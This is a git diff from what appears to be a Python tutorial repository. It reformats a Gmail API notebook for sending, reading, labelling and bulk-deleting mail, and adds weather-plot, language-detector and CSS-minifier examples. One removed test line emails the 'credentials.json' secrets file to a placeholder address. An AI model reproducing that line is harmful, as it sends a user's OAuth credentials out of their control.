"# for encoding/decoding messages in base64\n", + "from base64 import urlsafe_b64decode, urlsafe_b64encode\n", + "# for dealing with attachement MIME types\n", + "from email.mime.text import MIMEText\n", + "from email.mime.multipart import MIMEMultipart\n", + "from email.mime.image import MIMEImage\n", + "from email.mime.audio import MIMEAudio\n", + "from email.mime.base import MIMEBase\n", "from mimetypes import guess_type as guess_mime_type" - ], - "outputs": [], - "metadata": {} + ] }, { "cell_type": "code", "execution_count": null, + "metadata": {}, + "outputs": [], "source": [ - "# Request all access (permission to read/send/receive emails, manage the inbox, and more)\r\n", - "SCOPES = ['https://mail.google.com/']\r\n", + "# Request all access (permission to read/send/receive emails, manage the inbox, and more)\n", + "SCOPES = ['https://mail.google.com/']\n", "our_email = 'your_gmail@gmail.com'" - ], - "outputs": [], - "metadata": {} + ] }, { "cell_type": "code", "execution_count": null, + "metadata": {}, + "outputs": [], "source": [ - "def gmail_authenticate():\r\n", - " creds = None\r\n", - " # the file token.pickle stores the user's access and refresh tokens, and is\r\n", - " # created automatically when the authorization flow completes for the first time\r\n", - " if os.path.exists(\"token.pickle\"):\r\n", - " with open(\"token.pickle\", \"rb\") as token:\r\n", - " creds = pickle.load(token)\r\n", - " # if there are no (valid) credentials availablle, let the user log in.\r\n", - " if not creds or not creds.valid:\r\n", - " if creds and creds.expired and creds.refresh_token:\r\n", - " creds.refresh(Request())\r\n", - " else:\r\n", - " flow = InstalledAppFlow.from_client_secrets_file('credentials.json', SCOPES)\r\n", - " creds = flow.run_local_server(port=0)\r\n", - " # save the credentials for the next run\r\n", - " with open(\"token.pickle\", \"wb\") as token:\r\n", - " pickle.dump(creds, token)\r\n", + "def gmail_authenticate():\n", + " creds = None\n", + " # the file token.pickle stores the user's access and refresh tokens, and is\n", + " # created automatically when the authorization flow completes for the first time\n", + " if os.path.exists(\"token.pickle\"):\n", + " with open(\"token.pickle\", \"rb\") as token:\n", + " creds = pickle.load(token)\n", + " # if there are no (valid) credentials availablle, let the user log in.\n", + " if not creds or not creds.valid:\n", + " if creds and creds.expired and creds.refresh_token:\n", + " creds.refresh(Request())\n", + " else:\n", + " flow = InstalledAppFlow.from_client_secrets_file('credentials.json', SCOPES)\n", + " creds = flow.run_local_server(port=0)\n", + " # save the credentials for the next run\n", + " with open(\"token.pickle\", \"wb\") as token:\n", + " pickle.dump(creds, token)\n", " return build('gmail', 'v1', credentials=creds)" - ], - "outputs": [], - "metadata": {} + ] }, { "cell_type": "code", "execution_count": null, + "metadata": {}, + "outputs": [], "source": [ - "# get the Gmail API service\r\n", + "# get the Gmail API service\n", "service = gmail_authenticate()" - ], - "outputs": [], - "metadata": {} + ] }, { "cell_type": "code", "execution_count": null, + "metadata": {}, + "outputs": [], "source": [ - "# Adds the attachment with the given filename to the given message\r\n", - "def add_attachment(message, filename):\r\n", - " content_type, encoding = guess_mime_type(filename)\r\n", - " if content_type is None or encoding is not None:\r\n", - " content_type = 'application/octet-stream'\r\n", - " main_type, sub_type = content_type.split('/', 1)\r\n", - " if main_type == 'text':\r\n", - " fp = open(filename, 'rb')\r\n", - " msg = MIMEText(fp.read().decode(), _subtype=sub_type)\r\n", - " fp.close()\r\n", - " elif main_type == 'image':\r\n", - " fp = open(filename, 'rb')\r\n", - " msg = MIMEImage(fp.read(), _subtype=sub_type)\r\n", - " fp.close()\r\n", - " elif main_type == 'audio':\r\n", - " fp = open(filename, 'rb')\r\n", - " msg = MIMEAudio(fp.read(), _subtype=sub_type)\r\n", - " fp.close()\r\n", - " else:\r\n", - " fp = open(filename, 'rb')\r\n", - " msg = MIMEBase(main_type, sub_type)\r\n", - " msg.set_payload(fp.read())\r\n", - " fp.close()\r\n", - " filename = os.path.basename(filename)\r\n", - " msg.add_header('Content-Disposition', 'attachment', filename=filename)\r\n", - " message.attach(msg)\r\n", - "\r\n", - "def build_message(destination, obj, body, attachments=[]):\r\n", - " if not attachments: # no attachments given\r\n", - " message = MIMEText(body)\r\n", - " message['to'] = destination\r\n", - " message['from'] = our_email\r\n", - " message['subject'] = obj\r\n", - " else:\r\n", - " message = MIMEMultipart()\r\n", - " message['to'] = destination\r\n", - " message['from'] = our_email\r\n", - " message['subject'] = obj\r\n", - " message.attach(MIMEText(body))\r\n", - " for filename in attachments:\r\n", - " add_attachment(message, filename)\r\n", - " return {'raw': urlsafe_b64encode(message.as_bytes()).decode()}\r\n", - "\r\n", - "def send_message(service, destination, obj, body, attachments=[]):\r\n", - " return service.users().messages().send(\r\n", - " userId=\"me\",\r\n", - " body=build_message(destination, obj, body, attachments)\r\n", + "# Adds the attachment with the given filename to the given message\n", + "def add_attachment(message, filename):\n", + " content_type, encoding = guess_mime_type(filename)\n", + " if content_type is None or encoding is not None:\n", + " content_type = 'application/octet-stream'\n", + " main_type, sub_type = content_type.split('/', 1)\n", + " if main_type == 'text':\n", + " fp = open(filename, 'rb')\n", + " msg = MIMEText(fp.read().decode(), _subtype=sub_type)\n", + " fp.close()\n", + " elif main_type == 'image':\n", + " fp = open(filename, 'rb')\n", + " msg = MIMEImage(fp.read(), _subtype=sub_type)\n", + " fp.close()\n", + " elif main_type == 'audio':\n", + " fp = open(filename, 'rb')\n", + " msg = MIMEAudio(fp.read(), _subtype=sub_type)\n", + " fp.close()\n", + " else:\n", + " fp = open(filename, 'rb')\n", + " msg = MIMEBase(main_type, sub_type)\n", + " msg.set_payload(fp.read())\n", + " fp.close()\n", + " filename = os.path.basename(filename)\n", + " msg.add_header('Content-Disposition', 'attachment', filename=filename)\n", + " message.attach(msg)\n", + "\n", + "def build_message(destination, obj, body, attachments=[]):\n", + " if not attachments: # no attachments given\n", + " message = MIMEText(body)\n", + " message['to'] = destination\n", + " message['from'] = our_email\n", + " message['subject'] = obj\n", + " else:\n", + " message = MIMEMultipart()\n", + " message['to'] = destination\n", + " message['from'] = our_email\n", + " message['subject'] = obj\n", + " message.attach(MIMEText(body))\n", + " for filename in attachments:\n", + " add_attachment(message, filename)\n", + " return {'raw': urlsafe_b64encode(message.as_bytes()).decode()}\n", + "\n", + "def send_message(service, destination, obj, body, attachments=[]):\n", + " return service.users().messages().send(\n", + " userId=\"me\",\n", + " body=build_message(destination, obj, body, attachments)\n", " ).execute()" - ], - "outputs": [], - "metadata": {} + ] }, { "cell_type": "code", "execution_count": null, - "source": [ - "# test send email\r\n", - "send_message(service, \"destination@domain.com\", \"This is a subject\", \r\n", - " \"This is the body of the email\", [\"test.txt\", \"credentials.json\"])" - ], + "metadata": {}, "outputs": [], - "metadata": {} + "source": [ + "# test send email\n", + "send_message(service, \"destination@domain.com\", \"This is a subject\", \n", + " \"This is the body of the email\", [\"test.txt\", \"anyfile.png\"])" + ] }, { "cell_type": "code", "execution_count": null, + "metadata": {}, + "outputs": [], "source": [ - "def search_messages(service, query):\r\n", - " result = service.users().messages().list(userId='me',q=query).execute()\r\n", - " messages = [ ]\r\n", - " if 'messages' in result:\r\n", - " messages.extend(result['messages'])\r\n", - " while 'nextPageToken' in result:\r\n", - " page_token = result['nextPageToken']\r\n", - " result = service.users().messages().list(userId='me',q=query, pageToken=page_token).execute()\r\n", - " if 'messages' in result:\r\n", - " messages.extend(result['messages'])\r\n", + "def search_messages(service, query):\n", + " result = service.users().messages().list(userId='me',q=query).execute()\n", + " messages = [ ]\n", + " if 'messages' in result:\n", + " messages.extend(result['messages'])\n", + " while 'nextPageToken' in result:\n", + " page_token = result['nextPageToken']\n", + " result = service.users().messages().list(userId='me',q=query, pageToken=page_token).execute()\n", + " if 'messages' in result:\n", + " messages.extend(result['messages'])\n", " return messages" - ], - "outputs": [], - "metadata": {} + ] }, { "cell_type": "code", "execution_count": null, + "metadata": {}, + "outputs": [], "source": [ - "# utility functions\r\n", - "def get_size_format(b, factor=1024, suffix=\"B\"):\r\n", - " \"\"\"\r\n", - " Scale bytes to its proper byte format\r\n", - " e.g:\r\n", - " 1253656 => '1.20MB'\r\n", - " 1253656678 => '1.17GB'\r\n", - " \"\"\"\r\n", - " for unit in [\"\", \"K\", \"M\", \"G\", \"T\", \"P\", \"E\", \"Z\"]:\r\n", - " if b < factor:\r\n", - " return f\"{b:.2f}{unit}{suffix}\"\r\n", - " b /= factor\r\n", - " return f\"{b:.2f}Y{suffix}\"\r\n", - "\r\n", - "\r\n", - "def clean(text):\r\n", - " # clean text for creating a folder\r\n", + "# utility functions\n", + "def get_size_format(b, factor=1024, suffix=\"B\"):\n", + " \"\"\"\n", + " Scale bytes to its proper byte format\n", + " e.g:\n", + " 1253656 => '1.20MB'\n", + " 1253656678 => '1.17GB'\n", + " \"\"\"\n", + " for unit in [\"\", \"K\", \"M\", \"G\", \"T\", \"P\", \"E\", \"Z\"]:\n", + " if b < factor:\n", + " return f\"{b:.2f}{unit}{suffix}\"\n", + " b /= factor\n", + " return f\"{b:.2f}Y{suffix}\"\n", + "\n", + "\n", + "def clean(text):\n", + " # clean text for creating a folder\n", " return \"\".join(c if c.isalnum() else \"_\" for c in text)" - ], - "outputs": [], - "metadata": {} + ] }, { "cell_type": "code", "execution_count": null, + "metadata": {}, + "outputs": [], "source": [ - "def parse_parts(service, parts, folder_name, message):\r\n", - " \"\"\"\r\n", - " Utility function that parses the content of an email partition\r\n", - " \"\"\"\r\n", - " if parts:\r\n", - " for part in parts:\r\n", - " filename = part.get(\"filename\")\r\n", - " mimeType = part.get(\"mimeType\")\r\n", - " body = part.get(\"body\")\r\n", - " data = body.get(\"data\")\r\n", - " file_size = body.get(\"size\")\r\n", - " part_headers = part.get(\"headers\")\r\n", - " if part.get(\"parts\"):\r\n", - " # recursively call this function when we see that a part\r\n", - " # has parts inside\r\n", - " parse_parts(service, part.get(\"parts\"), folder_name, message)\r\n", - " if mimeType == \"text/plain\":\r\n", - " # if the email part is text plain\r\n", - " if data:\r\n", - " text = urlsafe_b64decode(data).decode()\r\n", - " print(text)\r\n", - " elif mimeType == \"text/html\":\r\n", - " # if the email part is an HTML content\r\n", - " # save the HTML file and optionally open it in the browser\r\n", - " if not filename:\r\n", - " filename = \"index.html\"\r\n", - " filepath = os.path.join(folder_name, filename)\r\n", - " print(\"Saving HTML to\", filepath)\r\n", - " with open(filepath, \"wb\") as f:\r\n", - " f.write(urlsafe_b64decode(data))\r\n", - " else:\r\n", - " # attachment other than a plain text or HTML\r\n", - " for part_header in part_headers:\r\n", - " part_header_name = part_header.get(\"name\")\r\n", - " part_header_value = part_header.get(\"value\")\r\n", - " if part_header_name == \"Content-Disposition\":\r\n", - " if \"attachment\" in part_header_value:\r\n", - " # we get the attachment ID \r\n", - " # and make another request to get the attachment itself\r\n", - " print(\"Saving the file:\", filename, \"size:\", get_size_format(file_size))\r\n", - " attachment_id = body.get(\"attachmentId\")\r\n", - " attachment = service.users().messages() \\\r\n", - " .attachments().get(id=attachment_id, userId='me', messageId=message['id']).execute()\r\n", - " data = attachment.get(\"data\")\r\n", - " filepath = os.path.join(folder_name, filename)\r\n", - " if data:\r\n", - " with open(filepath, \"wb\") as f:\r\n", - " f.write(urlsafe_b64decode(data))\r\n", - "\r\n", - "\r\n", - "def read_message(service, message):\r\n", - " \"\"\"\r\n", - " This function takes Gmail API `service` and the given `message_id` and does the following:\r\n", - " - Downloads the content of the email\r\n", - " - Prints email basic information (To, From, Subject & Date) and plain/text parts\r\n", - " - Creates a folder for each email based on the subject\r\n", - " - Downloads text/html content (if available) and saves it under the folder created as index.html\r\n", - " - Downloads any file that is attached to the email and saves it in the folder created\r\n", - " \"\"\"\r\n", - " msg = service.users().messages().get(userId='me', id=message['id'], format='full').execute()\r\n", - " # parts can be the message body, or attachments\r\n", - " payload = msg['payload']\r\n", - " headers = payload.get(\"headers\")\r\n", - " parts = payload.get(\"parts\")\r\n", - " folder_name = \"email\"\r\n", - " has_subject = False\r\n", - " if headers:\r\n", - " # this section prints email basic info & creates a folder for the email\r\n", - " for header in headers:\r\n", - " name = header.get(\"name\")\r\n", - " value = header.get(\"value\")\r\n", - " if name.lower() == 'from':\r\n", - " # we print the From address\r\n", - " print(\"From:\", value)\r\n", - " if name.lower() == \"to\":\r\n", - " # we print the To address\r\n", - " print(\"To:\", value)\r\n", - " if name.lower() == \"subject\":\r\n", - " # make our boolean True, the email has \"subject\"\r\n", - " has_subject = True\r\n", - " # make a directory with the name of the subject\r\n", - " folder_name = clean(value)\r\n", - " # we will also handle emails with the same subject name\r\n", - " folder_counter = 0\r\n", - " while os.path.isdir(folder_name):\r\n", - " folder_counter += 1\r\n", - " # we have the same folder name, add a number next to it\r\n", - " if folder_name[-1].isdigit() and folder_name[-2] == \"_\":\r\n", - " folder_name = f\"{folder_name[:-2]}_{folder_counter}\"\r\n", - " elif folder_name[-2:].isdigit() and folder_name[-3] == \"_\":\r\n", - " folder_name = f\"{folder_name[:-3]}_{folder_counter}\"\r\n", - " else:\r\n", - " folder_name = f\"{folder_name}_{folder_counter}\"\r\n", - " os.mkdir(folder_name)\r\n", - " print(\"Subject:\", value)\r\n", - " if name.lower() == \"date\":\r\n", - " # we print the date when the message was sent\r\n", - " print(\"Date:\", value)\r\n", - " if not has_subject:\r\n", - " # if the email does not have a subject, then make a folder with \"email\" name\r\n", - " # since folders are created based on subjects\r\n", - " if not os.path.isdir(folder_name):\r\n", - " os.mkdir(folder_name)\r\n", - " parse_parts(service, parts, folder_name, message)\r\n", + "def parse_parts(service, parts, folder_name, message):\n", + " \"\"\"\n", + " Utility function that parses the content of an email partition\n", + " \"\"\"\n", + " if parts:\n", + " for part in parts:\n", + " filename = part.get(\"filename\")\n", + " mimeType = part.get(\"mimeType\")\n", + " body = part.get(\"body\")\n", + " data = body.get(\"data\")\n", + " file_size = body.get(\"size\")\n", + " part_headers = part.get(\"headers\")\n", + " if part.get(\"parts\"):\n", + " # recursively call this function when we see that a part\n", + " # has parts inside\n", + " parse_parts(service, part.get(\"parts\"), folder_name, message)\n", + " if mimeType == \"text/plain\":\n", + " # if the email part is text plain\n", + " if data:\n", + " text = urlsafe_b64decode(data).decode()\n", + " print(text)\n", + " elif mimeType == \"text/html\":\n", + " # if the email part is an HTML content\n", + " # save the HTML file and optionally open it in the browser\n", + " if not filename:\n", + " filename = \"index.html\"\n", + " filepath = os.path.join(folder_name, filename)\n", + " print(\"Saving HTML to\", filepath)\n", + " with open(filepath, \"wb\") as f:\n", + " f.write(urlsafe_b64decode(data))\n", + " else:\n", + " # attachment other than a plain text or HTML\n", + " for part_header in part_headers:\n", + " part_header_name = part_header.get(\"name\")\n", + " part_header_value = part_header.get(\"value\")\n", + " if part_header_name == \"Content-Disposition\":\n", + " if \"attachment\" in part_header_value:\n", + " # we get the attachment ID \n", + " # and make another request to get the attachment itself\n", + " print(\"Saving the file:\", filename, \"size:\", get_size_format(file_size))\n", + " attachment_id = body.get(\"attachmentId\")\n", + " attachment = service.users().messages() \\\n", + " .attachments().get(id=attachment_id, userId='me', messageId=message['id']).execute()\n", + " data = attachment.get(\"data\")\n", + " filepath = os.path.join(folder_name, filename)\n", + " if data:\n", + " with open(filepath, \"wb\") as f:\n", + " f.write(urlsafe_b64decode(data))\n", + "\n", + "\n", + "def read_message(service, message):\n", + " \"\"\"\n", + " This function takes Gmail API `service` and the given `message_id` and does the following:\n", + " - Downloads the content of the email\n", + " - Prints email basic information (To, From, Subject & Date) and plain/text parts\n", + " - Creates a folder for each email based on the subject\n", + " - Downloads text/html content (if available) and saves it under the folder created as index.html\n", + " - Downloads any file that is attached to the email and saves it in the folder created\n", + " \"\"\"\n", + " msg = service.users().messages().get(userId='me', id=message['id'], format='full').execute()\n", + " # parts can be the message body, or attachments\n", + " payload = msg['payload']\n", + " headers = payload.get(\"headers\")\n", + " parts = payload.get(\"parts\")\n", + " folder_name = \"email\"\n", + " has_subject = False\n", + " if headers:\n", + " # this section prints email basic info & creates a folder for the email\n", + " for header in headers:\n", + " name = header.get(\"name\")\n", + " value = header.get(\"value\")\n", + " if name.lower() == 'from':\n", + " # we print the From address\n", + " print(\"From:\", value)\n", + " if name.lower() == \"to\":\n", + " # we print the To address\n", + " print(\"To:\", value)\n", + " if name.lower() == \"subject\":\n", + " # make our boolean True, the email has \"subject\"\n", + " has_subject = True\n", + " # make a directory with the name of the subject\n", + " folder_name = clean(value)\n", + " # we will also handle emails with the same subject name\n", + " folder_counter = 0\n", + " while os.path.isdir(folder_name):\n", + " folder_counter += 1\n", + " # we have the same folder name, add a number next to it\n", + " if folder_name[-1].isdigit() and folder_name[-2] == \"_\":\n", + " folder_name = f\"{folder_name[:-2]}_{folder_counter}\"\n", + " elif folder_name[-2:].isdigit() and folder_name[-3] == \"_\":\n", + " folder_name = f\"{folder_name[:-3]}_{folder_counter}\"\n", + " else:\n", + " folder_name = f\"{folder_name}_{folder_counter}\"\n", + " os.mkdir(folder_name)\n", + " print(\"Subject:\", value)\n", + " if name.lower() == \"date\":\n", + " # we print the date when the message was sent\n", + " print(\"Date:\", value)\n", + " if not has_subject:\n", + " # if the email does not have a subject, then make a folder with \"email\" name\n", + " # since folders are created based on subjects\n", + " if not os.path.isdir(folder_name):\n", + " os.mkdir(folder_name)\n", + " parse_parts(service, parts, folder_name, message)\n", " print(\"=\"*50)" - ], - "outputs": [], - "metadata": {} + ] }, { "cell_type": "code", "execution_count": null, + "metadata": {}, + "outputs": [], "source": [ - "# get emails that match the query you specify\r\n", - "results = search_messages(service, \"Python Code\")\r\n", - "# for each email matched, read it (output plain/text to console & save HTML and attachments)\r\n", - "for msg in results:\r\n", + "# get emails that match the query you specify\n", + "results = search_messages(service, \"Python Code\")\n", + "print(f\"Found {len(results)} results.\")\n", + "# for each email matched, read it (output plain/text to console & save HTML and attachments)\n", + "for msg in results:\n", " read_message(service, msg)" - ], - "outputs": [], - "metadata": {} + ] }, { "cell_type": "code", "execution_count": null, + "metadata": {}, + "outputs": [], "source": [ - "def mark_as_read(service, query):\r\n", - " messages_to_mark = search_messages(service, query)\r\n", - " return service.users().messages().batchModify(\r\n", - " userId='me',\r\n", - " body={\r\n", - " 'ids': [ msg['id'] for msg in messages_to_mark ],\r\n", - " 'removeLabelIds': ['UNREAD']\r\n", - " }\r\n", - " ).execute()\r\n", - "\r\n", - "def mark_as_unread(service, query):\r\n", - " messages_to_mark = search_messages(service, query)\r\n", - " return service.users().messages().batchModify(\r\n", - " userId='me',\r\n", - " body={\r\n", - " 'ids': [ msg['id'] for msg in messages_to_mark ],\r\n", - " 'addLabelIds': ['UNREAD']\r\n", - " }\r\n", + "def mark_as_read(service, query):\n", + " messages_to_mark = search_messages(service, query)\n", + " print(f\"Matched emails: {len(messages_to_mark)}\")\n", + " return service.users().messages().batchModify(\n", + " userId='me',\n", + " body={\n", + " 'ids': [ msg['id'] for msg in messages_to_mark ],\n", + " 'removeLabelIds': ['UNREAD']\n", + " }\n", + " ).execute()\n", + "\n", + "def mark_as_unread(service, query):\n", + " messages_to_mark = search_messages(service, query)\n", + " print(f\"Matched emails: {len(messages_to_mark)}\")\n", + " return service.users().messages().batchModify(\n", + " userId='me',\n", + " body={\n", + " 'ids': [ msg['id'] for msg in messages_to_mark ],\n", + " 'addLabelIds': ['UNREAD']\n", + " }\n", " ).execute()" - ], - "outputs": [], - "metadata": {} + ] }, { "cell_type": "code", "execution_count": null, + "metadata": {}, + "outputs": [], "source": [ "mark_as_read(service, \"Google\")\n", "# search query by sender/receiver\n", - "mark_as_unread(service, \"email@domain.com\")" - ], - "outputs": [], - "metadata": {} + "mark_as_unread(service, \"from: email@domain.com\")" + ] }, { "cell_type": "code", "execution_count": null, + "metadata": {}, + "outputs": [], "source": [ "def delete_messages(service, query):\n", " messages_to_delete = search_messages(service, query)\n", + " print(f\"Deleting {len(messages_to_delete)} emails.\")\n", " # it's possible to delete a single message with the delete API, like this:\n", " # service.users().messages().delete(userId='me', id=msg['id'])\n", " # but it's also possible to delete all the selected messages with one query, batchDelete\n", @@ -382,18 +367,49 @@ " 'ids': [ msg['id'] for msg in messages_to_delete]\n", " }\n", " ).execute()" - ], - "outputs": [], - "metadata": {} + ] }, { "cell_type": "code", "execution_count": null, + "metadata": {}, + "outputs": [], "source": [ "delete_messages(service, \"Google Alerts\")" - ], + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": {}, "outputs": [], - "metadata": {} + "source": [] } - ] -} \ No newline at end of file + ], + "metadata": { + "kernelspec": { + "display_name": "Python 3 (ipykernel)", + "language": "python", + "name": "python3" + }, + "language_info": { + "codemirror_mode": { + "name": "ipython", + "version": 3 + }, + "file_extension": ".py", + "mimetype": "text/x-python", + "name": "python", + "nbconvert_exporter": "python", + "pygments_lexer": "ipython3", + "version": "3.9.12" + }, + "vscode": { + "interpreter": { + "hash": "f89a88aed07bbcd763ac68893150ace71e487877d8c6527a76855322f20001c6" + } + } + }, + "nbformat": 4, + "nbformat_minor": 4 +} diff --git a/general/interactive-weather-plot/README.md b/general/interactive-weather-plot/README.md new file mode 100644 index 00000000..95a39719 --- /dev/null +++ b/general/interactive-weather-plot/README.md @@ -0,0 +1 @@ +# [How to Plot Weather Temperature in Python](https://www.thepythoncode.com/article/interactive-weather-plot-with-matplotlib-and-requests) \ No newline at end of file diff --git a/general/interactive-weather-plot/interactive_weather_plot.py b/general/interactive-weather-plot/interactive_weather_plot.py new file mode 100644 index 00000000..b4d17141 --- /dev/null +++ b/general/interactive-weather-plot/interactive_weather_plot.py @@ -0,0 +1,89 @@ +import matplotlib.pyplot as plt +from matplotlib.widgets import RadioButtons +import seaborn +seaborn.set_style("darkgrid") +import requests +import json + +# Define some Locations to choose from. +# Latitude and Longitude +locations = { + 'Schaffhausen': ['47.7', '8.6'], + 'Sydney': ['-33.86', '151.20'], + 'Kyiv': ['50.4422', '30.5367'], + 'Constantine': ['36.368258', '6.560254'], + 'Yakutsk': ['62.0', '129.7'], +} + +# Setting Up Matplotlib, using the OOP Approach +fig, ax = plt.subplots() +# the plot is created with the first location +p = None + +# make a function to get the temperatures of a given location +def getTemperatures(location): + # get the lat and long of the location + lat, lon = locations[location] + req = requests.get(f'https://api.open-meteo.com/v1/forecast?latitude={lat}&longitude={lon}&hourly=temperature_2m') + req = json.loads(req.text) + # get the tempratures + temperatures = req['hourly']['temperature_2m'] + # get the times + times = req['hourly']['time'] + return times, temperatures + + +# Make a dictionary with the locations as keys and the getTemperatures() function as values +location2data = {} +for location in locations: + location2data[location] = getTemperatures(location) + + +def changeLocation(newLocation): + global p + # get the data of the location from the dictionary + times, temperatures = location2data[newLocation] + if p: + p.set_ydata(temperatures) + # reflect changes in the plot + plt.draw() + else: + # Make a Plot and save the first object to a variable + # p will be a Line2D object which can be changed at a later time + p = ax.plot(times, temperatures, ls=':', lw=3)[0] + # set the x-axis to the times + xRange = list(range(0, 168, 24)) + [168] + ax.set_xticks(xRange) + # set the y-axis to the temperatures + yRange = list(range(-20, 55, 5)) + ax.set_yticks(yRange) + plt.tick_params(axis="both", which='both', labelrotation=-10) # rotate the labels + # set the title + ax.set_title('Temperatures in ' + newLocation) + + +# Call the change Location function for the first time +changeLocation('Schaffhausen') + +# Making the Radio Buttons +buttons = RadioButtons( + ax=plt.axes([0.1, 0.1, 0.2, 0.2]), + labels=locations.keys() +) + +# Connect click event on the buttons to the function that changes location. +buttons.on_clicked(changeLocation) + +# adjust the plot size +plt.subplots_adjust(left=0.1, bottom=0.40) + +# Label the Plot +ax.set_xlabel('Times [Next Seven Days]') +# ax.xaxis.label.set_color(labelColor) + +ax.set_ylabel('Temperatures [Celcius]') +# ax.yaxis.label.set_color(labelColor) + +plt.savefig('file.svg', format='svg') + +plt.show() \ No newline at end of file diff --git a/general/interactive-weather-plot/requirements.txt b/general/interactive-weather-plot/requirements.txt new file mode 100644 index 00000000..25920cf9 --- /dev/null +++ b/general/interactive-weather-plot/requirements.txt @@ -0,0 +1,3 @@ +matplotlib +seaborn +requests \ No newline at end of file diff --git a/general/language-detector/README.md b/general/language-detector/README.md new file mode 100644 index 00000000..bc090744 --- /dev/null +++ b/general/language-detector/README.md @@ -0,0 +1 @@ +# [How to Make a Language Detector Using Python](https://www.thepythoncode.com/article/language-detector-in-python) \ No newline at end of file diff --git a/general/language-detector/language_detector_cli_1.py b/general/language-detector/language_detector_cli_1.py new file mode 100644 index 00000000..b828c6d0 --- /dev/null +++ b/general/language-detector/language_detector_cli_1.py @@ -0,0 +1,35 @@ +"""" + THIS SCRIPT IS USING langdetect +""" + +# import the detect function from langdetect +from langdetect import detect + +# openning the txt file in read mode +sentences_file = open('sentences.txt', 'r') + +# creating a list of sentences using the readlines() function +sentences = sentences_file.readlines() + +# a function for detection language +def detect_langauage(sentence, n): + """try and except block for catching exception errors""" + # the try will run when everything is ok + try: + # checking if the sentence[n] exists + if sentences[n]: + # creating a new variable, the strip() function removes newlines + new_sentence = sentences[n].strip('\n') + print(f'The language for the sentence "{new_sentence}" is {detect(new_sentence)}') + # this will catch all the errors that occur + except: + print(f'Sentence does not exist') + +# printing the the number of sentences in the sentences.txt +print(f'You have {len(sentences)} sentences') + +# this will prompt the user to enter an integer +number_of_sentence = int(input('Which sentence do you want to detect?(Provide an integer please):')) + +# calling the detect_langauage function +detect_langauage(sentences_file, number_of_sentence) \ No newline at end of file diff --git a/general/language-detector/language_detector_cli_2.py b/general/language-detector/language_detector_cli_2.py new file mode 100644 index 00000000..10bcce2f --- /dev/null +++ b/general/language-detector/language_detector_cli_2.py @@ -0,0 +1,19 @@ +"""" + THIS SCRIPT IS USING langid +""" +import langid + +# openning the txt file in read mode +sentences_file = open('sentences.txt', 'r') + +# creating a list of sentences using the readlines() function +sentences = sentences_file.readlines() + +# looping through all the sentences in thesentences.txt file +for sentence in sentences: + # detecting the languages for the sentences + lang = langid.classify(sentence) + # formatting the sentence by removing the newline characters + formatted_sentence = sentence.strip('\n') + + print(f'The sentence "{formatted_sentence}" is in {lang[0]}') \ No newline at end of file diff --git a/general/language-detector/language_detector_cli_3.py b/general/language-detector/language_detector_cli_3.py new file mode 100644 index 00000000..dcaf5b10 --- /dev/null +++ b/general/language-detector/language_detector_cli_3.py @@ -0,0 +1,35 @@ +"""" + THIS SCRIPT IS USING googletrans +""" +# importing the Translator function from googletrans +from googletrans import Translator + +# initializing the translator object +translator = Translator() +# openning the txt file in read mode +sentences_file = open('sentences.txt', 'r') +# creating a list of sentences using the readlines() function +sentences = sentences_file.readlines() +# a function for detection language +def detect_langauage(sentence, n): + """try and except block for catching exception errors""" + # the try will run when everything is ok + try: + # checking if the sentence[n] exists + if sentences[n]: + # creating a new variable, the strip() function removes newlines + new_sentence = sentences[n].strip('\n') + # detecting the sentence language using the translator.detect() + # .lang extract the language code + detected_sentence_lang = translator.detect(new_sentence).lang + print(f'The language for the sentence "{new_sentence}" is {detected_sentence_lang}') + # this will catch all the errors that occur + except: + print(f'Make sure the sentence exists or you have internet connection') + + +print(f'You have {len(sentences)} sentences') +# this will prompt the user to enter an integer +number_of_sentence = int(input('Which sentence do you want to detect?(Provide an integer please):')) +# calling the detect_langauage function +detect_langauage(sentences_file, number_of_sentence) \ No newline at end of file diff --git a/general/language-detector/language_detector_cli_4.py b/general/language-detector/language_detector_cli_4.py new file mode 100644 index 00000000..a8259854 --- /dev/null +++ b/general/language-detector/language_detector_cli_4.py @@ -0,0 +1,32 @@ +"""" + THIS SCRIPT IS USING language_detector +""" +# importing the language detector +from language_detector import detect_language + +# definig the function for detecting the language +# the function takes text as an argument +def detectLanguage(text): + # detecting the language using the detect_language function + language = detect_language(text) + print(f'"{text}" is written in {language}') + +# an infinite while while loop +while True: + + # this will prompt the user to enter options + option = input('Enter 1 to detect language or 0 to exit:') + + if option == '1': + # this will prompt the user to enter the text + data = input('Enter your sentence or word here:') + # calling the detectLanguage function + detectLanguage(data) + + # if option is 0 break the loop + elif option == '0': + print('Quitting........\nByee!!!') + break + # if option isnt 1 or 0 then its invalid + else: + print('Wrong input, try again!!!') \ No newline at end of file diff --git a/general/language-detector/requirements.txt b/general/language-detector/requirements.txt new file mode 100644 index 00000000..8351b405 --- /dev/null +++ b/general/language-detector/requirements.txt @@ -0,0 +1,4 @@ +googletrans==3.1.0a0 +langdetect==1.0.9 +langid==1.1.6 +language-detector==5.0.2 diff --git a/general/language-detector/sentences.txt b/general/language-detector/sentences.txt new file mode 100644 index 00000000..fe612537 --- /dev/null +++ b/general/language-detector/sentences.txt @@ -0,0 +1,5 @@ +I love programming, Python is my favorite language. +أحب البرمجة ، بايثون هي لغتي المفضلة. +我喜欢编程，Python 是我最喜欢的语言。 +Me encanta programar, Python es mi lenguaje favorito. +Eu amo programar, Python é minha linguagem favorita. \ No newline at end of file diff --git a/general/minify-css/README.md b/general/minify-css/README.md new file mode 100644 index 00000000..43c5beb1 --- /dev/null +++ b/general/minify-css/README.md @@ -0,0 +1,7 @@ +# [How to Minify CSS with Python](https://www.thepythoncode.com/article/minimize-css-files-in-python) +To run this: +- `pip install -r requirements.txt`. +- Put your CSS file in the `style` folder. +- Put your HTML file in the current (root) folder. +- Run `python minimize.py` +- A new file will appear named `min.css` in the current working folder. \ No newline at end of file diff --git a/general/minify-css/index.html b/general/minify-css/index.html new file mode 100644 index 00000000..2889e299 --- /dev/null +++ b/general/minify-css/index.html @@ -0,0 +1,19 @@ + + + + + + + Document + + +
+
+ +
+
+ +
+
